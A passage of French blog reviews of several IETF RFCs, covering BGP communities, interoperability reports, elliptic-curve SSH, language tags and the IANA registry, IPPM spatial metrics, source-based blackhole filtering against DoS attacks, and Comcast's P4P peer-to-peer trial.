Petit piège mentionné en section 3, bien que ces communautés étendues pour AS 4-octets permettent de représenter les anciens AS 2-octets (en ajoutant des zéros devant), cela ne doit pas être fait, pour éviter qu'une communauté puisse être codée de deux façons différentes (ce qui compliquerait les comparaisons).
Il n'y a pas de nouvelle représentation texte standard de ces communautés, on reprend l'existante, comme dans l'exemple de l'AS 3356 plus haut.
Date de publication du RFC : Septembre 2009
Auteur(s) du RFC : L. Dusseault (Messaging Architects), R. Sparks (Tekelec)
Première rédaction de cet article le 1 octobre 2009
Dans son processus de normalisation, l'IETF a toujours accordé une grande importance au caractère réaliste et pratique de ses normes. Contrairement à d'autres SDO, qui n'hésitent pas à publier comme norme des pavés incompréhensible et inimplémentables, l'IETF veille à ce que l'avancement d'une norme sur le chemin des normes s'accompagne d'une vérification que cette norme peut être mise en œuvre et que les différents programmeurs ont bien compris la même chose. Cette vérification se traduit par des rapports analysant l'état actuel des implémentations d'une norme et le but de ce RFC est de guider les auteurs de ces rapports.
Le processus du chemin des normes est décrit dans le RFC 2026 (cf. section 1 de notre RFC 5657). Il comprenait trois étapes, proposition de norme (Proposed Standard), projet de norme (Draft Standard) et enfin norme tout court (Standard). Leur nombre a toutefois été réduit à deux par le RFC 6410. Lors du passage de la première à la deuxième étape, pour devenir projet de norme, un RFC doit (section 4.1.2 du RFC 2026) avoir été mis en œuvre au moins deux fois, par des équipes indépendantes, et ces deux mises en œuvre doivent interopérer (pouvoir travailler ensemble).
Le dossier présenté à l'IESG pour l'avancement d'une norme au statut de projet de norme doit comprendre un rapport (même section 4.1.2 du RFC 2026) décrivant les tests effectués entre ces mises en œuvre, leurs résultats, etc. Historiquement, ces rapports, dont la forme n'était spécifiée nulle part, ont été de qualité très variable ; certains étaient très courts, se contentant de dire « On a testé et ça marche ». D'autres détaillaient à l'extrême un aspect particulier des tests mais oubliaient les résultats. Le but de ce RFC 5657 est de limiter cette variation. Il met donc à jour légèrement le RFC 2026. Lui-même a été amendé par le RFC 6410, qui a rendu ce rapport facultatif.
L'espoir est que ce RFC contribuera également à clarifier les tâches à accomplir pour faire avancer une norme : aujourd'hui, peu de gens s'y retrouvent et bien des normes stables et très utilisées sont restées au début du chemin des normes car personne n'avait eu le courage de lancer le processus d'avancement.
La section 2 définit donc ce que doit contenir le rapport d'interopérabilité. Sur certains points, il est moins strict que le RFC 2026. Par exemple, il n'est plus obligatoire de nommer les implémentations testées (cela défrisait certains vendeurs). Si seulement une partie des implémentations existantes est testée, le rapport doit dire comment la sélection s'est faite.
Le RFC 2026 parlait d'implémentations « indépendantes » sans définir ce que voulait dire ce terme. Notre RFC 5657 précise que cela veut dire qu'elles ont été écrites par des personnes différentes, dans des organisations différentes et qu'elles n'aient pas de code en commun (il est fréquent que plusieurs logiciels dérivent de la même souche et n'aient donc guère de mérite à interopérer correctement).
La section 3 décrit le format du rapport d'interopérabilité. C'est le même que celui des RFC. La section indique aussi les parties obligatoires et leur contenu. Un résumé doit préciser les points importants. La méthodologie de test doit être décrite. Les éventuelles exceptions (points de la norme sur lesquels l'interopérabilité échoue) doivent être précisement listées.
Un point délicat des rapports d'interopérabilité est la question des fonctions qu'on teste. Faut-il tout tester dans le moindre détail ou bien a t-on le droit d'omettre des fonctions qui sont dans la norme ? La section 4 analyse la question. En gros, si on teste seulement des grandes fonctions, on ne pousse pas les implémentations dans leurs limites mais si on teste tous les détails et leurs combinaisons, la matrice des tests explose, notamment pour les protocoles ayant beaucoup d'options. Il faut donc trouver un niveau intermédiaire raisonnable. Le RFC cite en exemple le rapport sur RTP qui liste les fonctions testées sous forme de services importants, et non pas sous la forme, trop détaillée, de chaque bit possible de l'en-tête.
Le pragmatisme reste nécessaire. La section 5 explique comment gérer des cas particuliers. Par exemple, si le protocole est déjà largement déployé, on peut (section 5.1) privilégier l'analyse de son fonctionnement réel plutôt que des tests en laboratoire. Une étude ou un questionnaire sont donc sans doute la meilleure méthode. Par contre, si le protocole n'a pas encore connu de déploiement significatif (section 5.2), les tests sont la meilleure approche. Le RFC insiste quand même sur le fait qu'il faut essayer d'anticiper les problèmes opérationnels comme la congestion ou la gestion.
Un autre cas particulier est celui des RFC qui normalisent des formats et pas des protocoles, traité dans la section 5.3. Par exemple, le RFC 5234 normalise les grammaires ABNF et le RFC 4287 le format de syndication Atom. L'interopérabilité, dans ce cas, se juge notamment à la capacité des différentes implémentations à considérer comme corrects les mêmes fichiers (et même chose pour les incorrects). ABNF a ainsi fait l'objet d'un rapport de mise en œuvre.
Parmi les autres cas couverts par notre RFC, celui des protocoles pour lesquels il existe une suite de tests comme WebDAV, avec Litmus. Cette suite ne permet pas forcément de tester l'interopérabilité (section 5.5) car elle ne teste pas des vraies mises en œuvre les unes contre les autres. Avec Litmus, par exemple, le client WebDAV est un client artificiel, qui n'est pas forcément représentatif des vrais clients.
Tous les rapports de mise en œuvre existants sont disponibles en ligne. La section 6 de notre RFC 5657 cite quelques exemples particulièrement instructifs comme le rapport sur PPP-LCP pour sa concision ou celui sur OSPF (publié également dans le RFC 2329), jugé trop long mais quand même de qualité. Celui sur le « pipelining » SMTP est jugé très court, à la limite de la taille minimale.
Date de publication du RFC : Décembre 2009
Auteur(s) du RFC : D. Stebila (Queensland University of
Technology), J. Green (Queen's
University)
Chemin des normes
Première rédaction de cet article le 15 décembre 2009
Les algorithmes de cryptographie de la famille des courbes elliptiques prennent de plus en plus d'importance, concurrençant les traditionnels RSA et DSA. Ce RFC spécifie l'utilisation de certains de ces algorithmes dans le protocole SSH.
Il y a déjà plusieurs RFC qui utilisent les courbes elliptiques : les RFC 4050, RFC 4492, RFC 5349, etc. SSH n'est donc pas, et de loin, le premier protocole IETF à en bénéficier. Mais il est plus répandu et l'intégration des courbes elliptiques leur donnera donc une bien meilleure exposition.
Outre des avantages techniques comme des clés de faible taille (voir la section 1 du RFC pour des chiffres précis), l'intérêt des courbes elliptiques est que, compte-tenu du risque toujours existant de percées soudaines en cryptanalyse, il est prudent de garder « plusieurs fers au feu ». Si une nouvelle méthode de factorisation en nombres premiers apparait, menaçant RSA, la disponibilité d'algorithmes utilisant les courbes elliptiques fournira une solution de repli.
Notre RFC 5656 étend donc SSH, tel qu'il est spécifié dans les RFC 4251 et RFC 4253. Pour davantage d'information sur les courbes elliptiques, il renvoie à « SEC 1: Elliptic Curve Cryptography » et « SEC 2: Recommended Elliptic Curve Domain Parameters ».
La section 3 de notre RFC attaque les détails pratiques de l'algorithme ECC. Le format des clés (section 3.1), l'algorithme utilisé pour la signature (nommé ECDSA), avec la fonction de hachage SHA-2 et l'encodage de la signature y sont normalisés.
Un protocole d'échange de clés utilisant les courbes elliptiques, ECDH, occupe la section 4. Un autre, ECMQV, figure en section 5 (mais seul ECDH est obligatoire dans SSH).
Le tout est enregistré dans le registre
des paramètres SSH, tel que décrit en section 6. Comme le terme
de « courbes elliptiques » désigne une famille, pas un seul
algorithme, il faut ensuite préciser l'algorithme exact utilisé.
Trois courbes elliptiques
sont ainsi mise en avant, nommées nistp256
,
nistp384
et nistp521
. Un
mécanisme utilisant l'OID de la courbe est
prévu pour celles sans nom (section 6.1). Ces courbes peuvent être
utilisées pour ECDSA (section 6.2), ECDH (section 6.3) et ECMQV
(section 6.4). Ainsi, le nom complet de l'algorithme utilisé pour
ECDSA avec la courbe nistp256
est ecdsa-sha2-nistp256
.
Comment vont faire les mises en œuvres de SSH avec ces nouveaux algorithmes et interopéreront-elles avec les anciennes ? Oui, répond la section 8 : le protocole SSH a toujours prévu un mécanisme de négociation des algorithmes utilisés et les programmes ignorent simplement les algorithmes inconnus (section 8.2). La section 8 couvre d'autres problèmes concrets comme les performances des nouveaux algorithmes (en général meilleure que celle de RSA ou DSA, en raison de la taille plus faible des clés).
Une très riche section 9 analyse en détail les caractéristiques de sécurité des courbes elliptiques et leur résistance à la cryptanalyse. D'abord, il faut bien retenir que « courbes elliptiques » désigne une famille, pas un seul algorithme. Certains membres de la famille sont plus vulnérables que d'autres, par exemple à des attaques comme la descente de Weil. Il faut donc considérer avec prudence une courbe qui n'est pas listée dans la section 10 (qui résume la liste des courbes utilisées pour SSH).
Ppur les courbes ainsi spécifiées, il n'existe pas actuellement d'autres attaques que la force brute. Les seules exceptions concernent les algorithmes pour ordinateurs quantiques (comme celui de Shor). Or, ces ordinateurs ont déjà le plus grand mal, à l'heure actuelle, à additionner 2 + 2 et le RFC note qu'il est peu probable qu'ils deviennent une menace réelle dans les prochaines années. Les lois de la physique et celle de l'ingéniérie ne sont pas faciles à faire plier !
La section 10 rassemble les caractéristiques des courbes
obligatoires (section 10.1) et
recommandées (section 10.2), donnant pour chacune l'OID
attribué. Toutes sont dérivées de normes NIST. Ainsi, nistp256
a l'OID
1.2.840.10045.3.1.7
. Tous ces algorithmes sont
enregistrés dans le registre SSH,
suivant le RFC 4250.
La mise en œuvre la plus répandue de SSH,
OpenSSH, a intégré ces
algorithmes à courbes elliptiques sa version 5.7, livrée en janvier 2011 (voir un résumé en http://pthree.org/2011/02/17/elliptic-curve-cryptography-in-openssh/
). Il y a quelques années, un interview d'un des
développeurs indiquait qu'un des problèmes était celui des
brevets logiciels (il parlait aussi de
l'absence de normalisation, ce qui n'est plus vrai avec la sortie de
notre RFC).
Date de publication du RFC : Septembre 2009
Auteur(s) du RFC : A. Philipps (Lab126), M. Davis (Google)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF ltru
Première rédaction de cet article le 7 septembre 2009
Successeur du RFC 4646 (qui lui-même succédait au RFC 3066), notre RFC décrit les noms des langues (langues humaines, pas langages informatiques). Toute application qui a besoin d'indiquer une langue doit s'en servir.
Le protocole HTTP par exemple permet à un navigateur
Web d'indiquer au serveur quelle langue il
préfère (en-tête Accept-Language:
dans le RFC 7231, section 5.3.5), au cas où le
serveur aie plusieurs versions d'une page et soit correctement
configuré (ce que Apache
permet). Cela marche très bien avec des sites comme http://www.debian.org/
.
Les noms des langues ont deux ou trois lettres et sont tirés de la norme ISO 639. Par exemple :
La norme complète est plus complexe : par exemple, l'anglais parlé aux
États-Unis n'est pas tout à fait le même que celui parlé en
Grande-Bretagne. Aussi, notre RFC permet de décrire la langue de
manière plus fine par exemple fr-CH
désigne le français tel qu'il est parlé en Suisse.
Il y a d'autres caractéristiques que la langue ou le pays. Ainsi, sr-Latn-CS
représente le serbe
(sr
) écrit dans l'alphabet latin (Latn
)
tel qu'il s'utilise en Serbie (CS
).
La question étant sensible (le croate est-il une langue différente du serbe, par exemple ?) l'IETF a évité les problèmes en s'appuyant sur des normes existantes (ISO 639 pour les langues comme le RFC 1591 s'appuie sur ISO 3166 pour éviter l'épineuse question de « qu'est-ce qui est un pays »). Néanmoins, le RFC confie un rôle de registre à l'IANA pour garantir une stabilité des noms (l'ISO ne la garantit pas, ne s'intéressant qu'au présent, alors que l'Internet a besoin de stabilité sur le long terme, cf. la section 3.4 pour la politique de stabilité du registre des langues).
ISO 639-1 et 2 reflétaient plutôt les besoins des bibliothécaires, soucieux de simplifier la classification en évitant la multiplication des langues. ISO 639-3 adopte plutôt le point de vue des linguistes, qui tendent à voir bien plus de langues. Ce débat entre mergers (les bibliothécaires) et splitters (les linguistes) ne cessera pas de sitôt. L'intégration de ISO 639-3 fait que le registre des étiquettes de langues passe plutôt du côté des splitters.
Les étiquettes de langue sont donc composées de
sous-étiquettes, et les diverses restrictions qui
existent sur leur longueur et leur place font qu'il est possible
d'analyser une étiquette, de déterminer où est la langue, où est le
pays, etc, sans avoir d'accès au registre (section 2.2). Une étiquette peut être
bien formée (obéir à la syntaxe) même si ses
sous-étiquettes ne sont pas enregistrées (section 2.2.9 pour la
définition de la conformance à cette norme, et la notion de « bien
formée » et de « valide »). Le registre stocke des
sous-étiquettes, pas des étiquettes entières, et ces sous-étiquettes
peuvent être combinées librement, même si le résultat n'est pas
forcément sensé. Par exemple, ar-Cyrl-AQ
est à la
fois bien formée - elle obéit à la grammaire, valide (toutes ses
sous-étiquettes sont enregistrées) et néanmoins inutile car désignant
l'arabe en écriture cyrillique tel que pratiqué en Antarctique.
Les différentes parties d'une étiquette sont décrites en section 2.2. Par exemple, l'écriture est complètement traitée en section 2.2.3 est dérive d'ISO 15924.
La section 2.2.6, sur les extensions (qu'il ne faut pas confondre avec les extlangs) n'est pas encore utilisée ; pour l'instant, aucune extension n'a été enregistrée.
Le format et la maintenance du registre sont décrits en section 3. Le registre est au format record-jar (section 3.1.1, ce format est décrit dans le livre The Art of Unix programming) et, par exemple, l'enregistrement du français est :
Type: language Subtag: fr Description: French Added: 2005-10-16 Suppress-Script: Latn
et celui du cantonais est :
Type: language Subtag: yue Description: Yue Chinese Added: 2009-07-29 Macrolanguage: zh
et cet enregistrement comporte la mention de la macrolangue (le chinois).
Désormais, le registre est en UTF-8 ce qui permet des choses comme :
Type: language Subtag: pro Description: Old Provençal (to 1500) Description: Old Occitan (to 1500) Added: 2005-10-16
L'ajout d'éléments au registre est possible, via une procédure
décrite en sections 3.5 et 3.6.
Si vous voulez enregistrer une sous-étiquette, la lecture
recommandée est « How to register a new subtag ». La procédure inclus un examen par un
Language Subtag Reviewer (section 3.2),
actuellement Michael Everson. Je préviens tout
de suite : comme indiqué en section 3.6, la probabilité qu'une demande
refusée par l'ISO soit acceptée dans le
registre IANA est très faible (malgré cela, des demandes sont
régulièrement reçues pour des « langues » que seuls certains radicaux
considèrent comme telles).
Une liste
complète des demandes d'enregistrement effectuées est archivée en
https://www.iana.org/assignments/lang-subtags-templates
. Un exemple réel
est décrit dans « Enregistrement
de l'alsacien dans le registre IETF/IANA ».
Lorsqu'on est occupé à étiqueter des textes, par exemple à mettre
des attributs xml:lang
dans un document
XML, on se pose parfois des questions comme
« Dois-je étiqueter ce texte comme fr
ou bien
fr-FR
, lorsque les deux sont légaux ? » La
réponse figure dans la section 4.1, qui est résumée dans
« Tag wisely » (la réponse,
ici, est « En général, fr
tout court, sauf s'il
est important de le distinguer des dialectes étrangers à la France »).
Les changements les plus importants par rapport au RFC 4646 (section 8) sont :
Le changement de grammaire ne change pas grand'chose aux étiquettes bien formées ou pas mais il facilitera la tâche des implémenteurs. Les étiquettes patrimoniales (grandfathered) sont ainsi séparées en deux catégories, selon qu'elles obéissent quand même à la syntaxe standard ou pas.
L'augmentation importante de la taille du registre fait que, encore
plus qu'avant, la récupération automatique du registre nécessite donc
de faire attention pour ne pas charger les serveurs de l'IANA (la
méthode recommandée est le GET
conditionnel de
HTTP RFC 7232 (If-Modified-Since
, section 3.3), par exemple, avec
curl, curl --time-cond "20090702" https://www.iana.org/assignments/language-subtag-registry
)
Les extlangs ont été une question particulièrement délicate. Parmi les macrolangues (une collection de langues qui, dans certaines cicronstances, peuvent être vues comme une langue unique), le piège spécifique à l'arabe et au chinois est que le mot « chinois » désigne à la fois une macrolangue et une langue particulière couverte par cette macrolangue (le mandarin). Pire, dans les deux cas (chinois et arabe), les communautés locales ont du mal à admettre le verdict des linguistes. Ceux-ci disent que l'« arabe » n'est pas une langue, et que le marocain et le syrien sont des langues distinctes. Les arabophones ne sont pas tous d'accord avec l'analyse scientifique.
Les autres macrolangues n'ont pas de « langue de référence » et elles sont typiquement pratiquées par des communautés ayant moins de poids que le gouvernement de Pékin.
L'IETF a tranché que, pour certaines langues, l'extlang serait PERMIS, la forme sans extlang RECOMMANDÉE (voir notamment la section 4.1.2 sur l'usage des extlangs). Les vainqueurs sont donc : 'ar' (Arabe), 'kok' (Konkanî), 'ms' (Malais), 'sw' (Swahili), 'uz' (Ouzbèke), et 'zh' (Chinois).
Donc :
Les transparents d'un exposé sur ces language
tags sont disponibles. Ils ne parlent que de la
version précédente, celle du RFC 4646. Le site
Web officiel sur les étiquettes de langues est http://www.langtag.net/
.
Un analyseur de language tags en
logiciel libre existe, GaBuZoMeu et gère cette
nouvelle norme. On peut trouver d'autres mises en œuvre en
http://www.langtag.net/
.
Date de publication du RFC : Septembre 2009
Auteur(s) du RFC : D. Ewell
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF ltru
Première rédaction de cet article le 7 septembre 2009
Ce RFC, compagnon du RFC 5646, décrit le nouvel état du registre des langues de l'IANA. Comme son prédécesseur, le RFC 4645 avait servi à initialiser le registre des langues, notre RFC 5645 servira à la grande mise à jour qu'est l'intégration des normes ISO-639-3 et ISO 639-5. Le nombre de langues enregistrées passe de 500 à plus de 7 000.
Le registre est écrit dans le format dit record-jar, décrit dans le livre The Art of Unix programming.
Il sert juste à lister l'état du nouveau registre IANA avec des affectations comme ici pour le Nandi ou l'écriture du Bamum :
%% Description d'une langue, ici le Nandi (niq) Type: language Subtag: niq Description: Nandi Added: 2009-07-29 Macrolanguage: kln %% %% Description d'une écriture, ici le Bamum Type: script Subtag: Bamu Description: Bamum Added: 2009-07-30 %%
Le registre va ensuite vivre sa vie et accepter de nouveaux
enregistrements, suivant les procédures du RFC 5646. Une des façons de suivre ces futures évolution est de
s'abonner au flux de syndication http://www.langtag.net/registries/lsr.atom
.
Comment a été construit le nouveau registre ? La section 2 répond à cette question. Le point de départ était le registre existant, celui qui avait été créé par le RFC 4646. Les fichiers d'ISO 639-3 (disponibles chez SIL car l'ISO ne distribue quasiment jamais ses normes) et ISO 639-5 ont ensuite été intégrés, mais pas aveuglément :
aak
- ou le ghotuo - code aaa
) ont
été ajoutées. A contrario, celles qui
avaient déjà un code ont été ignorées.ar
), le
konkani (kok
), le
malais (ms
), le
swahili (sw
),
l'ouzbèque (uz
) et le
chinois (zh
). Pour les
six exceptions, un extended language subtag a été
créé dans le registre, pour indiquer la macrolangue et cela permettra
d'écrire des étiquettes comme zh-yue
(le
cantonais, dont l'étiquette canonique est juste
yue
) pour le cas où l'ajout de la macrolangue
semble important. Les autres langues ayant une macrolangue voient
juste cette macrolangue ajoutée comme un champ de l'enregistrement.afa
« Autres langues
afro-asiatiques » est devenue « Langues afro-asiatiques » ce qui est
bien plus large.EU
, on
peut donc désormais utiliser l'étiquette en-EU
pour l'anglais parlé à Bruxelles. D'autres
codes étaient déjà présents pour d'autres raisons comme l'amusant
FX
(France Métropolitaine).Date de publication du RFC : Octobre 2009
Auteur(s) du RFC : E. Stephan (France Telecom R&D), L. Liang (University of Surrey), A. Morton (AT&T Labs)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF ippm
Première rédaction de cet article le 24 octobre 2009
Deux jeux de métriques (grandeur à mesurer, définies de façon formelle) sont normalisés dans ce RFC, l'un pour des mesures « spatiales », l'autre pour la diffusion de groupe.
Dans le cadre du RFC 2330, il existe plusieurs métriques pour mesurer des « performances » d'un réseau de bout en bout. On peut ainsi mesurer le temps de trajet (RFC 7679), le taux de perte (RFC 7680), les changements d'ordre des paquets (RFC 4737), etc. Notre RFC 5644 étend ces métriques :
Ici, je parlerais surtout des premières, les métriques dites « spatiales » (voir les sections 7 et 8 pour les autres).
Comme les précédentes, ces nouvelles métriques sont enregistrées dans le registre créé par le RFC 4148. Les définitions nécessaires figurent dans la section 2. Ainsi, métrique multipartite (multiparty metric) est définie (section 2.4) comme le cas où il existe plusieurs points de mesure, une métrique spatiale (spatial metric) est (section 2.5) celle où certains des points de mesure ne sont ni la source, ni une destination du paquet (mais des routeurs situés sur le trajet). Et la métrique de groupe est (section 2.6) celle où il existe plusieurs destinations.
La section 2.7 introduit la notion de points intéressés (points of interest). Ce sont les machines où se fait la mesure. Pour les métriques spatiales, c'est un sous-ensemble des routeurs du chemin suivi par le paquet. Pour les métriques de groupe, ce sont les machines de destination.
Autre terme important, celui de vecteur (vector), défini en section 2.9. C'est simplement une liste de valeurs obtenues en différents points. Par exemple, si on mesure le temps que met un paquet multicast pour aller de la source à N destinations, le résultat de la mesure est un vecteur dont chaque composante est le temps qu'a pris le trajet de la source à un des récepteurs.
Une fois qu'on a les vecteurs, les matrices ne sont pas loin (section 2.10). Une matrice est simplement une liste de vecteurs. Dans le contexte de notre RFC, la matrice a une dimension d'espace (mesures effectuées à différents points, comme dans le vecteur cité en exemple ci-dessus) et une dimension de temps (mesures répétées dans le temps). Si on met le temps horizontalement et l'espace verticalement, une colonne est un vecteur (mesures à différents points, d'un même paquet) et une ligne est un échantillon (mesures de paquets successifs au même point).
Les métriques elles-mêmes sont introduites dans la section 3, en reprenant les concepts des RFC 2330, RFC 2679, RFC 2680, RFC 3393 et RFC 3432. Petit rappel : Type-P indique le type du paquet (TCP ou UDP, taille du paquet, etc) car les performances peuvent en dépendre. Par exemple, Type-P-Spatial-One-way-Delay-Vector reprend la métrique Type-P-One-way-Delay du RFC 2679 et l'étend en vecteur. Elle désigne donc le temps de trajet mesuré à différents points successifs du chemin (différents routeurs).
Pourquoi avoir créé ces nouvelles métriques ? La section 4 reprend les motivations du travail du groupe ippm. Pour les métriques spatiales (section 4.1), il y avait le souhait de comprendre la contribution de chaque étape du chemin au temps total (ce que fait l'ingénieur réseaux lorsqu'il regarde ce qu'affichent traceroute ou mtr avant de dire « Ça coince à tel endroit »).
Venons-en maintenant aux définitions formelles. La section 5 le fait pour les métriques spatiales. Il faut avoir bien lu avant les définitions pour les métriques de bout en bout, les métriques spatiales étant simplement une généralisation. Type-P-Spatial-One-way-Delay-Vector est définie en section 5.1 et, comme indiquée plus haut, c'est simplement l'ensemble des délais d'acheminement d'un paquet, mesuré à plusieurs points du trajet. Je ne recopie pas ici la définition détaillée et très précise du RFC mais je dis juste un mot sur la discussion en section 5.1.5. Cette métrique peut rencontrer des cas pathologiques par exemple si le temps au point N+1 est supérieur au temps au point N. Cela peut être dû à plusieurs choses comme une désynchronisation des horloges (section 3.7.1 du RFC 2679) ou bien un changement dans le routage. Entre le moment où on a déterminé l'ordre des points de mesure (par exemple en faisant un traceroute) et le moment de la mesure, le routage a pu changer et le routeur N+1 passer avant le N.
De même qu'on peut définir Type-P-Spatial-One-way-Delay-Vector en « vectorisant » Type-P-One-way-Delay, la section 5.2 crée Type-P-Spatial-Packet-loss-Vector en vectorisant Type-P-Packet-loss, le taux de perte de paquets du RFC 2680. Et la section 5.3 crée Type-P-Spatial-One-way-ipdv-vector à partir de l'IPDV (Inter-Packet Delay Variation) du RFC 5481.
Les mesures « spatiales » posent des problèmes de méthodologie particuliers qui font l'objet de la section 5.4. Ainsi, la perte d'un paquet est définie par le RFC 2680 comme la non-arrivée de ce paquet au bout d'un temps fini. Si deux points de mesure n'utilisent pas la même valeur pour ce temps, un paquet peut être considéré comme perdu à un point de mesure... mais pas à un point situé en aval, qui utilise un délai maximum plus élevé (section 5.4.1). Il est donc important que tous les points de mesure utilisent des valeurs cohérentes.
Les vecteurs de notre RFC 5644 sont ordonnés : chaque point mesure a une place, qui est l'ordre dans lequel ils voient passer le paquet. Toutes les métriques spatiales dépendent donc de cet ordre. Or, celui-ci n'est pas constant sur l'Internet. Par exemple, une instabilité temporaire du routage peut entraîner une micro-boucle où le paquet passe plusieurs fois par le même routeur et est donc observé plusieurs fois (section 5.4.2). Les points de mesure doivent donc pouvoir détecter de pareils cas, pour les éliminer des statistiques. (La section 10.2.1 mentionne aussi l'importance d'indiquer le chemin suivi par le paquet dans les publications.)
Un vecteur désigne des mesures qui varient dans l'espace, une mesure par point d'observation. Les mesures varient aussi dans le temps, ce qui mène aux métriques de la section 6. Type-P-Segment-One-way-Delay-Stream (section 6.1) est ainsi l'observation dans le temps du délai d'acheminement entre deux routeurs.
Les vecteurs étant évidemment plus gros que les scalaires, les métriques de notre RFC posent des problèmes techniques liés à l'espace de stockage nécessaire et à la capacité du réseau pour les transporter. La section 9 discute de ces détails pratiques. Par exemple, la section 9.3 expose deux méthodes de réduction des matrices avant de les envoyer, réduction sur le temps (agréger les mesures faites à des moments différents) ou bien sur l'espace (agréger les mesures de tous les routeurs). Comme seule la première méthode de réduction peut être effectuée localement, sur chaque point de mesure, c'est elle qui permet de minimiser le trafic réseau lié à ces mesures.
Date de publication du RFC : Août 2009
Auteur(s) du RFC : W. Kumari (Google), D. McPherson (Arbor Networks)
Pour information
Réalisé dans le cadre du groupe de travail IETF opsec
Première rédaction de cet article le 29 août 2009
Un des ennuis les plus fréquents sur l'Internet est l'attaque par déni de service. Répondre à ce genre d'attaques ne peut pas se faire par une mise à jour logicielle ou par un changement de configuration ; d'une manière ou d'une autre, il faut éliminer le trafic anormal qui constitue la DoS. Notre RFC 5635 présente une technique permettant de déclencher le filtrage à distance, et en le faisant en fonction de l'adresse source des paquets IP de l'attaquant.
Plusieurs techniques ont déjà été développées pour faire face aux
DoS, résumées dans la section 1 du RFC. Filtrer le trafic
sur son propre routeur ou
pare-feu est souvent inefficace : le trafic
anormal a déjà transité sur votre liaison Internet et cela suffit
souvent à la rendre inutilisable. Le mieux est en général de filtrer
chez le FAI. Filtrer par le biais
d'ACL marche bien mais les routeurs sont en général bien plus rapides
à router qu'à filtrer à l'aide d'ACL. Il est donc préférable
d'utiliser le routage en créant des routes « bidon », qui aboutissent
dans le vide (Null0
sur
IOS, par exemple, ou bien route
... discard
sur JunOS), et à qui on envoie le trafic indésirable. L'élimination
des paquets sera ainsi faite à la vitesse maximale du routeur.
Autre problème avec le filtrage chez le FAI : le faire à la main, après échange de coups de téléphone, n'est pas très pratique, et impose des détails alors que l'attaque est déjà en cours. D'où l'utilité de pouvoir déclencher le filtrage à distance, selon la technique dite RTBH (Remote Triggered Black Hole), qui est décrite dans le RFC 3882. Dans ce RFC, on se sert de BGP pour annoncer le filtrage à un autre routeur, en marquant les annonces en question avec une communauté BGP particulière (une communauté est une sorte d'étiquette numérique attachée à l'annonce BGP).
C'était l'état de l'art documenté avant la sortie de ce RFC 5635. Le problème de cette méthode du RFC 3882 est que les routes, dans le protocole IP, sont en fonction de la destination. On va par exemple filtrer tout le trafic à destination du serveur victime d'une attaque. On empêche ainsi les dommages collatéraux sur les autres machines mais on rend le serveur attaqué complètement inaccessible (section 1 du RFC). Lors d'une attaque, on préférerait parfois filtrer selon la source.
Le principe est donc de combiner le RTBH (Remote Triggered Black Hole) classique avec les techniques RPF du RFC 3704. C'est là l'apport de notre RFC, détaillé en section 4.
Avant cela, le RFC rappelle, dans sa section 3, le fonctionnement du RTBH par destination tel que décrit dans le RFC 3882, en fournissant des détails nouveaux. Le principe du RTBH est que l'annonce BGP indique comme routeur suivant (next hop) une route vers un trou noir, où tous les paquets sont détruits. Les détails pratiques sont en section 3.2. Parmi eux, attention aux importants filtres de sortie, qui empêcheront les annonces BGP de destruction de fuir en dehors du réseau de l'opérateur.
Le déclenchement du filtrage par le client nécessite que celui-ci puisse communiquer ses desiderata. Il le fait en général en marquant ses annonces par une communauté BGP, choisie par l'opérateur. Celui-ci a même intérêt à prévoir plusieurs communautés, pour un filtrage plus fin.
La section 4 présente la nouvelle technique. Le principe est de réutiliser le mécanisme uRPF (unicast Reverse Path Forwarding) du RFC 3704. uRPF vérifie qu'il existe une route légitime pour l'adresse source du paquet entrant, afin d'éliminer des paquets dont l'adresse source est fausse. Si le routeur sait qu'une route vers un trou noir n'est pas légitime, alors, il peut filtrer en fonction de la source, si des routes vers ces adresses sources ont été installées par RTBH. Pour l'instant, aucun routeur ne fournit apparemment la possibilité de refuser uniquement les adresses pour lesquelles la route va dans un trou noir, mais elle devrait apparaitre bientôt.
La section 4.1 fournit les étapes exactes à suivre lorsqu'on met en
œuvre ce filtrage. Lorsqu'on veut bloquer les paquets venant de
192.0.2.66
, on doit :
192.0.2.66/32
,
marquée avec
la communauté BGP de filtrage indiquée par le FAI. (Attention, cela
veut dire que le client va annoncer des réseaux qui ne lui
appartiennent pas : le FAI devra accepter ces annonces mais faire très
attention à ce qu'elles ne se propagent pas au delà de son réseau.)Permettre à n'importe quel client de vouer ainsi n'importe quelle adresse source au trou noir est évidemment dangereux et le RFC conseille de ne pas activer cette possibilité par défaut (contrairement à ce qu'on peut faire pour le filtrage selon la destination). Le RTBH reste utile même s'il n'est utilisé que dans le réseau de l'opérateur, car il évite de configurer manuellement tous les routeurs de ce dernier. La section 5 détaille les risques de cette technique et les précautions à prendre.
L'annexe A détaille la configuration des routeurs pour cette famille de techniques, avec des exemples concrets pour IOS et JunOS.
Un bon article sur RTBH est « Mitigating DoS/DDoS attacks with Real Time Black Hole (RTBH) filtering », avec exemples pour Cisco IOS.
Date de publication du RFC : Septembre 2009
Auteur(s) du RFC :
C. Griffiths, J. Livingood (Comcast), L. Popkin (Pando), R. Woundy (Comcast), Y. Yang (Yale)
Pour information
Première rédaction de cet article le 11 septembre 2009
Beaucoup de FAI se demandent comment limiter la charge qui provient de l'intense activité pair-à-pair de leurs clients. Les plus bas de front tentent l'interdiction (comme dans les conditions générales d'utilisation de SFR pour certaines de ses offres Internet mobile, où le pair-à-pair est explicitement interdit), d'autres cherchent des solutions techniques. L'une de ces solutions, P4P, qui permet au FAI d'informer les logiciels pair-à-pair de la topologie de son réseau, dans l'espoir qu'ils choisiront des pairs plus proches, est activement promue par certaines entreprises comme Pando. Comcast, un gros FAI, a testé P4P pour nous et en fait le compte-rendu dans ce RFC.
Ce gros FAI états-unien connecte essentiellement des particuliers, par le câble. Comcast est un des participants au groupe de travail qui élabore P4P. Le principe du système P4P (Proactive network Provider Participation for P2P) est de déployer des iTrackers qui sont des serveurs informant les clients pair-à-pair de la topologie du réseau, quels sont les liens recommandés, quelles adresses IP sont externes ou internes au dit réseau, etc (section 1 du RFC). Le logiciel peut alors choisir le pair le plus proche, économisant ainsi les ressources.
P4P a été discuté dans des forums comme le IETF workshop on P2P Infrastructure (raconté dans le RFC 5594) ou à la BoF Alto de l'IETF. Le test en vrai grandeur dont notre RFC 5632 rend compte a eu lieu en juillet 2008.
